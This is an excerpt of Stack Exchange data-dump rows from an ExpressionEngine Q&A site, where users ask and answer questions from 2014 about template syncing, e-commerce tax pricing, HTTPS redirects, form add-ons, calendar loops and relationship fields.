  <row Id="26744" PostTypeId="2" ParentId="26643" CreationDate="2014-11-14T23:24:14.273" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download a production database dump and import it to your local database. You will want to make sure your templates are up-to-date with the templates in production.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &quot;save template files&quot; config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// config/config.master.php&#xA;$env_config['save_tmpl_files'] = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Locally, go to the admin control panel, go to &lt;code&gt;Design &amp;gt; Templates &amp;gt; Synchronize Templates&lt;/code&gt; and sync all the templates. This will try to create/update the template files using data from the database. You may need to adjust file/directory permissions if there are errors while trying to sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uSQSL.png&quot; alt=&quot;Synchronize Templates&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the template you will be working on is not listed, then you will need to make sure the template is set to save as file before syncing. Navigate to the file in the &lt;code&gt;Template Manager&lt;/code&gt; and check the box to &quot;save template as file&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B7mzh.png&quot; alt=&quot;save template as file&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Now you can make your changes to the template files&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat step 3 to sync your file changes to the database.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Commit your changes to your git repo.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deploy to production. The config change should have also been deployed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In production, repeat step 3 by going to the admin control panel &lt;code&gt;Design &amp;gt; Templates &amp;gt; Synchronize Templates&lt;/code&gt; and sync all the templates. Again, if you don't see the template you updated in the list, you need to go find the template and enable &quot;Save Template as File&quot;. However, in this step, you want to sync changes from your files to the database.  &lt;strong&gt;You'll probably need to deploy a second time&lt;/strong&gt; (or &lt;code&gt;touch&lt;/code&gt; the file) so that the template file's modified time is newer than your database change. Then try again to sync the template change.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now, locally, you can return your config file to the original state:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// config/config.master.php&#xA;$env_config['save_tmpl_files'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Commit this change to your git repo.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Redeploy the config change.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="924" LastActivityDate="2014-11-14T23:24:14.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26745" PostTypeId="2" ParentId="26727" CreationDate="2014-11-15T13:02:05.710" Score="1" Body="&lt;p&gt;Have this figured out.  Steven's fix he mentioned with changing the field from TEXT to LONGTEXT was part of the fix.  The other part was that there was some bad HTML in the field that caused WYGWAM to choke.  (Found this by pulling the field content from the DB and dumping it into coda and syntax highlighting showed errors).   Specifically it was this (double quote closing a element):&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I changed the double quoted to single quotes on &quot;Rio's Brain&quot; it worked perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for everyone's help on this one.   &lt;/p&gt;&#xA;" OwnerUserId="560" LastActivityDate="2014-11-15T13:02:05.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26746" PostTypeId="2" ParentId="26654" CreationDate="2014-11-15T15:05:50.043" Score="2" Body="&lt;p&gt;A concern would be that whatever you do to adjust price calculation, you have to be sure it's being adjusted in all instances - not just display of a product, but basket addition, basket display, quantity adjustments, right through to handshaking with the payment provider.  You may even have to lookup the tax adjustments if you're dealing with differing tax amounts depending on customer location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try to keep it simple and use Store to try to achieve what you need. In my answer I'm going to focus on your objective, rather than the approach you're currently taking. Prices in Store should already include tax:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In Store 2, prices are entered in the control panel exactly as you&#xA;  want them to be displayed. Taxes may be configured as &quot;included in&#xA;  price&quot;, which indicates that the tax should not be added to the order&#xA;  total. For example, say you create a product which sells for $20.00,&#xA;  and a tax of 10% which is included in the price. In the checkout, when&#xA;  the customer purchases this item, they will see the item price as&#xA;  $20.00, a tax of $1.82, and an order total of $20.00.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By having the card as one taxable product and the credit as another non-taxable product, the solves the entire problem with tax calculation and you don't then need to write an extension to modify price.  But your concern was customer journey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect you're already using the Product Tag to display and allow the customer to add a product to their basket - change this instead to the &lt;a href=&quot;https://www.exp-resso.com/docs/product_form_tag.html&quot; rel=&quot;nofollow&quot;&gt;Product Form tag&lt;/a&gt;, which will allow for multiple products to be added to the basket at the same time.  So on the frontend, you display the card ($10) and then list credit options next to it with one &quot;credit&quot; pre-selected (e.g. $20).  Upon adding to basket, both are added together. When displaying tax in the basket, it will only be shown for the taxable product (the cards) and because the prices already include tax, it won't adjust the customers total price of $30 (using your example), but will show total order tax as $1 already included in the total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there's a flaw - what if the customer purchases 2 cards with $30 credit on one and $20 credit on the other?  If your &quot;credit&quot; product is $10 and you rely on quantity, then this approach will hit problems, As the basket will show 2xcard ($20) and 5xcredit ($50) with no idea of the distribution of credit across the 2 cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to avoid this, approach the &quot;credit&quot; product as having a multiplier for &quot;Size&quot; (or similar label) which has the values of $10, $20, $30, etc and used price modifiers for each of these options, then the basket would show 2xcard ($20), 1x$30 credit, 1x$20 credit. Problem solved.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-11-15T15:05:50.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26747" PostTypeId="2" ParentId="23788" CreationDate="2014-11-16T07:21:31.747" Score="1" Body="&lt;p&gt;Whilst not available for front end, this is a must for all installs: &lt;a href=&quot;http://devot-ee.com/add-ons/template-variables&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/template-variables&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-11-16T07:21:31.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26749" PostTypeId="1" AcceptedAnswerId="26796" CreationDate="2014-11-16T23:39:09.247" Score="0" ViewCount="61" Body="&lt;p&gt;In the Expresso Store channel, my images are in a Matrix array, and while I can see it on the product page, the first checkout page ignores the matrix wrapping fields: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {store_preview limit=&quot;1&quot;}&#xA;    &amp;lt;img src=&quot;{img}&quot;&amp;gt;&#xA; {/store_preview}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which generates this on the checkout listing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{store_preview limit=&quot;1&quot;} (broken image graphic) {/store_preview}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(this also gets pushed through CE Image, so I need to wrap the entire  element). It appears it's being parsed as text - so no image gets called. Bah. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this? Could this a bug the &lt;code&gt;{exp:store:checkout}&lt;/code&gt; pair, or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="175" LastEditorUserId="115" LastEditDate="2014-11-19T18:46:19.937" LastActivityDate="2014-11-19T18:46:19.937" Title="Exp:resso Store - Checkout listing and Matrix Images - bug?" Tags="|expresso-store|ee2|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26750" PostTypeId="2" ParentId="22072" CreationDate="2014-11-17T03:14:27.457" Score="0" Body="&lt;p&gt;I think I ended up hard coding the domain into the redirect. Everything else seemed to cause issues or not work 100% of the time. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Remove www&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteEngine on&#xA;  RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]&#xA;  RewriteRule ^(.*)$ http://%1%{REQUEST_URI} [R=301,QSA,NC,L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# Always secure&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteEngine On&#xA;  RewriteCond %{HTTPS} !=on&#xA;  RewriteRule (.*) https://domain.com%{REQUEST_URI}&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# Remove index.php&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&#xA;  RewriteCond %{REQUEST_FILENAME} !-d&#xA;  RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-11-17T03:14:27.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26751" PostTypeId="1" CreationDate="2014-11-17T10:27:08.173" Score="0" ViewCount="51" Body="&lt;p&gt;Is it possible? Have a second reg form with User that goes to a specific group as opposed to main site signup. Is it possible to specify on this reg form alone that an Admin gets a mail on new signups?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2016-05-24T04:50:06.747" Title="Solspace User: notify admin of signup" Tags="|solspace|solspace-user|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26753" PostTypeId="1" CreationDate="2014-11-17T12:28:24.070" Score="1" ViewCount="288" Body="&lt;p&gt;Really odd problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgraded an EE site to latest version (2.9 from 2.5.2) with Freeform upgraded from 3.14 to 4.2.0. I've migrated all the relevant data using Freeform's built-in utility and updated the relevant parameters but the form is not showing in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if I create a new template with the following code nothing is returned to the screen:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form}&#xA;    THIS IS A FORM&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how to debug or resolve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-11-18T10:11:19.597" Title="Freeform form not showing" Tags="|templates|solspace-freeform|solspace|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26754" PostTypeId="2" ParentId="22072" CreationDate="2014-11-17T15:18:41.640" Score="0" Body="&lt;p&gt;The following code works great for me, and utitlizes a 301 redirect so that you can keep any existing pagerank for SEO! I add this before the code that removes index.php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;&#xA;    RewriteEngine On&#xA;&#xA;    #force SSL&#xA;    RewriteCond %{HTTPS} !=on&#xA;    RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="133" LastActivityDate="2014-11-17T15:18:41.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26755" PostTypeId="2" ParentId="26548" CreationDate="2014-11-17T15:34:20.307" Score="2" Body="&lt;p&gt;Not in that fashion, but if you stashed the item (using the &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash add-on&lt;/a&gt;) you could grab it a bunch of times without having to repeat the entries loop.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-11-17T15:34:20.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26757" PostTypeId="1" CreationDate="2014-11-17T20:22:58.050" Score="1" ViewCount="105" Body="&lt;p&gt;Is it possible to auto insert a unique number/ID in each URL Title Field? For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Title: &quot;article of the day&quot;&#xA;URL Title: article-of-the-day-123&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3794" LastActivityDate="2014-11-18T13:57:40.783" Title="Unique number/ID in each URL Title Field" Tags="|url|title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26758" PostTypeId="2" ParentId="26663" CreationDate="2014-11-17T21:28:22.287" Score="0" Body="&lt;p&gt;You could try using an add-on such as Hacksaw: &lt;a href=&quot;http://devot-ee.com/add-ons/hacksaw&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/hacksaw&lt;/a&gt; to strip out any unwanted paragraph tags.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2014-11-17T21:28:22.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26760" PostTypeId="1" AcceptedAnswerId="26774" CreationDate="2014-11-17T22:58:58.080" Score="1" ViewCount="200" Body="&lt;p&gt;I feel like this should be a very simple solution (and probably is!), but I have been looking around for a while and still have not found any resolution. Maybe someone here can help me out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am displaying events for the next 6 months for a night club and some days have more than one event. The end result should follow this format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;September 5, 2014&#xA;   8pm Event 1 Title, Price + Summary&#xA;   10pm Event 2 Title, Price + Summary&#xA;September 6, 2014&#xA;   8pm Event 1 Title, Price + Summary&#xA;September 7, 2014&#xA;   8pm Event 1 Title, Price + Summary&#xA;   10pm Event 2 Title, Price + Summary&#xA;(etc.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My issue is that I can't seem to figure out a way to display the 'date' value that dynamically changes based on the current event in the loop. The only thing that I can think that would be accurate is the &quot;event_dates_and_options&quot; tag, but I can't figure out how to get any information out of that other than a single digit (presumably number of items in the array?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;content-wrapper&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;eventcontainer&quot;&amp;gt;&#xA;            {exp:calendar:cal&#xA;                date_range_start=&quot;tomorrow&quot;&#xA;                show_months=&quot;6&quot;&#xA;                pad_short_weeks=&quot;n&quot;&#xA;                }   &#xA;&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;   &#xA;                    &amp;lt;div class=&quot;clear&quot;&amp;gt; &#xA;{!-- THIS IS WHERE I WANT THE DATE TO DISPLAY --}               &#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;floatleft&quot;&amp;gt;&#xA;                        {event_image}&#xA;                            &amp;lt;img class=&quot;eventimage&quot; src=website-images/event-images/_thumbnails/{filename}.{extension} /&amp;gt;&#xA;                        {/event_image}&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;floatleft&quot;&amp;gt;&#xA;                        {title}&amp;lt;br /&amp;gt;&#xA;                        {event_dates_and_options} • &#xA;                            {if price}${price}{if:else}Free{/if}&amp;lt;br /&amp;gt;&#xA;                        {event_summary}&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;floatright&quot;&amp;gt;&#xA;                        SHARE ICONS&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            {/exp:calendar:cal} &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you for taking a look!&#xA;Best,&#xA;Victor&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2014-11-18T14:04:46.933" Title="How to display current date in loop while inside {exp:calendar:cal} tag" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26761" PostTypeId="2" ParentId="26460" CreationDate="2014-11-18T00:14:47.587" Score="0" Body="&lt;p&gt;I ended up changing things slightly to enable me to serve specific folders from a sub domain rather then all image folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a config-override I set the specific folder to point towards a folder in the sub-domain like this standard treatment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4 =&amp;gt; array(           // ID of upload destination&#xA;        'name'        =&amp;gt; 'Heroes',   // Display name in control panel&#xA;        'server_path' =&amp;gt; 'var/server/html/file-assets/assets/heroes/',&#xA;        'url'         =&amp;gt; 'subdomain.domain.com/assets/heroes/',&#xA;        'allowed_types' =&amp;gt; 'img', //Only allow images&#xA;        'max_width' =&amp;gt; '2000' //Set a max width for image&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then changed the cache_dir to reside under the subdomain server path, all assets will be cached to this folder which is fine, it's still relative.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ce_image_cache_dir'] = '/file-assets/data/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The folder structure is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/var/server/html &lt;strong&gt;(domain.com)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/var/server/html/file-assets &lt;strong&gt;(subdomain.domain.com)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/var/server/html/file-assets/assets/heroes/ &lt;strong&gt;(Is the base path for the files set above)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We then strip the subdomain part from any URL that includes a subdomain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ce_image_src_regex'] = array( 'subdomain.domain.com/' =&amp;gt; '/var/server/html' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The image gets manipulated and saved to the &lt;code&gt;/file-assets/data&lt;/code&gt; folder declared above, which coincidentally can be served from a normal domain or subdomain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We then check the made source to see if it comes from our &quot;heroes&quot; folder which is where we want subdomain images served from.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ce_image_made_regex'] = array( &#xA;        '^/file-assets/data/assets/heroes/' =&amp;gt;  'http:subdomain.domain.com/data/assets/heroes/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whilst somewhat convoluted to follow, this allows me to serve only one particular set of assets from a subdomain decreasing page load by a significant factor.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-11-18T00:14:47.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26762" PostTypeId="1" AcceptedAnswerId="26777" CreationDate="2014-11-18T00:59:19.157" Score="0" ViewCount="136" Body="&lt;p&gt;I have a page that I want to list the entries in a channel, but I ONLY want the entry to be listed IF it has a relationship. So I am populating the filter with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4&amp;gt;SHOW BY SERVICE&amp;lt;/h4&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li class=&quot;segment-1 selected-1 active&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;all&quot;&amp;gt;All&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {exp:channel:entries &#xA;        channel='service' &#xA;        orderby='title' &#xA;        sort='asc' &#xA;        disable='categories|member_data|pagination'&#xA;    }&#xA;        &amp;lt;li class=&quot;segment-{count}&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;#&quot; class=&quot;{url_title}&quot; style=&quot;text-transform: capitalize;&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't mind writing a custom query to do it, but I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT(title) AS parent_title FROM exp_channel_titles WHERE entry_id IN ( SELECT DISTINCT(parent_id) AS parent FROM exp_relationships )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with no luck. Maybe I am over complicating things with this one. The rest of the page is under an entry loop in another channel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel='success_story' &#xA;    disable='categories|member_data' &#xA;    orderby='date' &#xA;    sort='desc'&#xA;}&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The field is in the &lt;code&gt;Success Stories&lt;/code&gt; channel as a relationship field named &lt;code&gt;{services_used}&lt;/code&gt; which is pointing to the &lt;code&gt;Service&lt;/code&gt; channel to relate it to the various services used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just need to be able to list the &lt;code&gt;Service&lt;/code&gt; channel entries (distinctly) if they are referenced as used by a &lt;code&gt;Success Story&lt;/code&gt; entry.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-11-18T14:20:47.713" Title="Manual Relationship query" Tags="|ee2|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26763" PostTypeId="1" CreationDate="2014-11-18T02:23:42.223" Score="0" ViewCount="35" Body="&lt;p&gt;I'm really sorry if I repeat somebody else's question but I could not really find any information on it for days. My deadlines are approaching and I am a little frustrated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am building a website for an online photo editing service. I never really thought about it before but I have to admit that I am actually stuck :( &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, if there is any ExpressionEngine Extension/Add-on that would suit me in order to provide this functionality (this is how it works):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A user selects a photo editing option [i.e. a shopping item] and adds it to their cart, then when they proceed to checkout they are offered to upload the photo that they would like to have edited [this is what I have no idea of how to implement], then they checkout via PayPal or any other method, I, therefore receive their order [that comes with the actually uploaded images/image links], then, when the photos are edited and I've received their payment, I mark the order as 'Complete' and they receive an invoice along with download links to their updated images OR they login to their account and access their updated images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could somebody who might have probably done something similar before give me a right direction? :( &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So much appreciated, thank you guys.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2014-11-18T10:08:00.010" Title="ExpressionEngine and Online Photo Service" Tags="|file-uploads|ecommerce|ee|users|orders|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26764" PostTypeId="1" AcceptedAnswerId="26768" CreationDate="2014-11-18T09:50:11.037" Score="0" ViewCount="22" Body="&lt;p&gt;I have created a custom status which is titled &quot;Completed&quot;. The application I am building allows for users to view courses they have attended or our attending in the future. All upcoming courses have a status of open and all courses that have been attended have a status of Completed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only view posts that have a status of open, I am getting a white screen each time I try and view a post with the Completed status. If I change the status to open the post displays. Can anyone tell me if this is normal and is there a resolve for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2014-11-18T11:17:18.717" Title="Viewing a published post in which its status is not open" Tags="|channel-entries|categories|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26766" PostTypeId="2" ParentId="26763" CreationDate="2014-11-18T10:08:00.010" Score="2" Body="&lt;p&gt;The shopping Cart add-on Cartthrob can do this, and possibly the other e-commerce add-ons such as store or BrilliantRetail too (but i haven't checked). All you do on the checkout page is add a file upload field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this docs page that shows you can do that - &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/add_to_cart_form/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/add_to_cart_form/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else you have asked to do is simple enough in ExpressionEngine if you know the basics of how it all works.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-11-18T10:08:00.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26767" PostTypeId="2" ParentId="26753" CreationDate="2014-11-18T10:11:19.597" Score="2" Body="&lt;p&gt;Got to the bottom of this, thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The templates had a form_id attribute to create the html id attribute of the form.&#xA;This should of course have been the numeric id of the form it was referencing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all for responding!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/cole007/fe14b74f8e760d180c61&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/cole007/fe14b74f8e760d180c61&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-11-18T10:11:19.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26768" PostTypeId="2" ParentId="26764" CreationDate="2014-11-18T11:17:18.717" Score="3" Body="&lt;p&gt;that is perfectly normal and expected behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To view content with status completed you need to add that to the &quot;status&quot; parameter in the channel entries tag, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries status='open|Completed'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info here:&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#status&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#status&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-11-18T11:17:18.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26769" PostTypeId="2" ParentId="26688" CreationDate="2014-11-18T11:20:04.243" Score="1" Body="&lt;p&gt;Just use the standard pagination with AJAX. /P10 etc. works fine.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-11-18T11:20:04.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26770" PostTypeId="1" AcceptedAnswerId="26771" CreationDate="2014-11-18T11:45:02.293" Score="0" ViewCount="68" Body="&lt;p&gt;I have a channel set up where it's necessary to relate 2 other channels using two different relationship fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relationship set up works OK within the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I don't seem to be able to output both relationship fields within my template. One or the other works fine but as soon as I put both on the template then neither work and the template tags are shown instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone run into this problem or have a suggestion as to how I can fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't seem to work with an embed either. When using an embed and passing it the entry id I can display the related entry title but custom fields don't work.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-11-18T12:09:48.773" LastActivityDate="2014-11-18T12:15:28.927" Title="More than one relationship field per entry not working on tempate" Tags="|templates|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26771" PostTypeId="2" ParentId="26770" CreationDate="2014-11-18T12:15:28.927" Score="0" Body="&lt;p&gt;I got around this by using an embed an passing the entry id of the &lt;em&gt;related&lt;/em&gt; entry to it like so.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;my-embed&quot; entry=&quot;{related-field:entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-11-18T12:15:28.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
